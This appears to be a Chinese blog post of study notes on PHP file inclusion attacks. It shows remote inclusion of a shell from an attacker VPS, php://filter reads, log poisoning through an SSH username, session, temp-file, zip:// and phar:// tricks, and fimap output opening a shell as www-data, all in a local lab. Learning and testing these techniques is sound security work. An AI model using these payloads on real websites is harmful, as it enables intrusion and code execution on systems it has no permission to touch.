php文件包含总结和学习

很早就有写一篇总结包含漏洞文章的想法了,加上近期对包含漏洞还有了一些新的学习,都在这里简单记录下

php.ini中的两个allow

即allow_url_fopen和allow_url_include allow_url_fopen表示是否允许将链接以文件的形式打开 allow_url_include表示是否允许将链接以文件形式进行包含

fopen和include均打开

假设一个场景,我们去包含一个url 那么首先是看allow_url_fopen是否开启,如果开启再看allow_url_include是否开启 在两者都开启时就可以包含远程文件,利用也比较简单

1
http://127.0.0.1/?file=http://your_vps/shell.txt

即可拿shell 如果后缀需要绕过,那么可以通过#来绕过,举个例子 后端包含代码

1
2
3
4
5
<?php
include("secret.php");
//假设$secret不可爆破
//比如$secret=".alfalksfhakljsf$%YGBASasidjoasjd12";
include($_GET['file'].$secret);

文件的后缀我们并不知道 那么我们就可以利用url的特性

1
http://127.0.0.1/?file=http://your_vps/shell.txt%23

服务器上面去包含

1
http://your_vps/shell.txt#.alfalksfhakljsf$%YGBASasidjoasjd12

那么井号后面的东西都无所谓了 当然,利用query什么的也都可以

fopen关闭include打开

这个时候是可以通过包含代码进行执行的 blacsheep

fopen打开include关闭

这个是最正常的,因为allow_url_fopen默认打开,allow_url_include默认关闭 一般来说,只打开fopen,关闭include其实并没有什么很大的作用... 但如果有这么一段代码

1
2
3
4
5
<?php
$f=fopen('http://localhost','r');
var_dump(fread($f,100));
fclose($f);
?>

如果allow_url_fopen关闭,那么var_dump并不能输出,实际上在fopen的时候就会报错了 不过如果allow_url_fopen打开,那么会输出网页代码 这里仅作一个简单介绍

fopen和include都关闭

当然也适用fopen打开的情况

包含上传的文件

比如可以上传jpg,txt之类的,然后去包含自己上传的文件即可 blacsheep

php://filter的encode读文件

前提是过滤并不是那么严格,利用php://filter

1
php://filter/read=convert.base64-encode/resource=

blacsheep 存在一些简单的绕过,比如双写绕过,大小写绕过,00截断之类的

php://filter的decode执行代码

加入对上传的文件进行了过滤,不允许上传含有特殊符号的文件,那么我们可以上传base编码的文件,然后用decode去包含 比如我们在shell.php里面写

1
PD9waHAKcGhwaW5mbygpOwo/Pgo=

然后利用

1
php://filter/read=convert.base64-decode/resource=
blacsheep

包含日志文件

一般来说是没有权限的,apache2的文件夹权限是默认750,access.log的权限默认640,www-data没有任何权限 这里为了演示,我给chmod 777了,如果实际练习后续记得改回来 blacsheep

包含sshlog

sshlog在/var/log/auth.log,权限默认640 包含的时候用ssh连上去

1
ssh '<?php phpinfo();?>'@127.0.0.1

密码随意输入,查看日志 blacsheep

包含session

强网杯的时候利用过 session.upload_progress.enabled如果打开了,我们就可以用传文件的方式传session.当然,如果开启了session.upload_progress.cleanup同样也是可以利用的,不过需要条件竞争,具体的wp可以去看强网杯的easy php那道题 值得一提的是这两个参数php好像是默认开启的 session一般的位置:

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

如果能够弄到phpinfo的话就更好说了,phpinfo中是存有session的保存位置的

/proc/self/environ

利用条件:

1
2
1.php以cgi方式运行,这样environ才会保持UA头。
2.environ文件存储位置已知,且environ文件可读。

用户的ua会存在这个文件里面,不过我本地并没有成功,可以自己去测试一下

包含临时文件

随意上传一个文件到服务器都是要经过以下步骤的 blacsheep 在临时文件被删除之前可以利用条件竞争进行包含 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。 另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可

zip扩展

安装

我kali上面的php是并没有zip扩展的,可以自己去装一下 去http://pecl.php.net/package/zip下载扩展 然后

1
2
3
4
5
6
tar -zxcf xxx.zip
cd xxx
phpize
./configure
make
make install

然后去php.ini里面加上扩展就好了,so路径在/usr/lib/php20170718/ 如果没有phpize就去apt-get install php7.x-dev 缺少lib的话自己apt装一下

利用zip协议getshell

1
2
3
4
5
6
blacsheep@kali:/var/www/html# cat 1.jpg
<?php
phpinfo();
?>
blacsheep@kali:/var/www/html# zip -q -o 1.zip 1.jpg
blacsheep@kali:/var/www/html# mv 1.zip 2.jpg

然后去用zip协议包含就好了 blacsheep

phar扩展

phar协议包含getshell

同样利用前面的zip文件 blacsheep 只不过里面的#换成了/

phar反序列化

不算文件包含,但提到了phar协议就提一下吧 原理就是php在解析phar对象的时候会导致metadata的数据被反序列化 原题是hitcon2017的baby^h-master-php-2017 然后利用点

1
$data = file_get_contents($_GET["url"] . "/avatar.gif");

然后给了一个恶意构造的phar,导致反序列化漏洞 题外话,想了解的话去看 http://localhost/2018/08/15/i%E6%98%A5%E7%A7%8Bweb%E5%88%B7%E9%A2%98%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0/#babyh-master-php-2017

利用工具

fimap

一旦你的allow_url_include打开了,fimap就可以给你一个shell,当然,你也可以reverse回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
blacsheep@kali:/var/www/html$ fimap --enable-color -x -u "http://127.0.0.1/index.php?file=index.php"
fimap v.1.00_svn (My life for Aiur)
:: Automatic LFI/RFI scanner and exploiter
:: by Iman Karim (fimap.dev@gmail.com)

###########################
#:: List of Domains :: #
###########################
#[1] 127.0.0.1 #
#[q] Quit #
###########################
Choose Domain: 1
################################################################################################
#:: FI Bugs on '127.0.0.1' :: #
################################################################################################
#[1] URL: '/index.php?file=index.php' injecting file: 'php://input' using GET-param: 'file' #
#[q] Quit #
################################################################################################
Choose vulnerable script: 1
[09:06:07] [INFO] Testing PHP-code injection thru POST...
[09:06:08] [OUT] PHP Injection works! Testing if execution works...
[09:06:08] [INFO] Testing execution thru 'popen[b64]'...
[09:06:08] [OUT] Execution thru 'popen[b64]' works!
####################################################
#:: Available Attacks - PHP and SHELL access :: #
####################################################
#[1] Spawn fimap shell #
#[2] Spawn pentestmonkey's reverse shell #
#[3] [Test Plugin] Show some info #
#[q] Quit #
####################################################
Choose Attack: 1
Please wait - Setting up shell (one request)...
-------------------------------------------
Welcome to fimap shell!
Better don't start interactive commands! ;)
Also remember that this is not a persistent shell.
Every command opens a new shell and quits it after that!
Enter 'q' to exit the shell.
-------------------------------------------
fishell@www-data:/var/www/html$> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
fishell@www-data:/var/www/html$>

dotdotpwn

用来fuzz文件的一个工具 首先命令使用例子

1
dotdotpwn -m 'http-url' -u "http://127.0.0.1/index.php?file=TRAVERSAL" -k "root"

给一部分结果 blacsheep 可以看到工具在fuzz可能的./的绕过


利用暂时大概就这些了,后续有新的知识学习的话会继续补充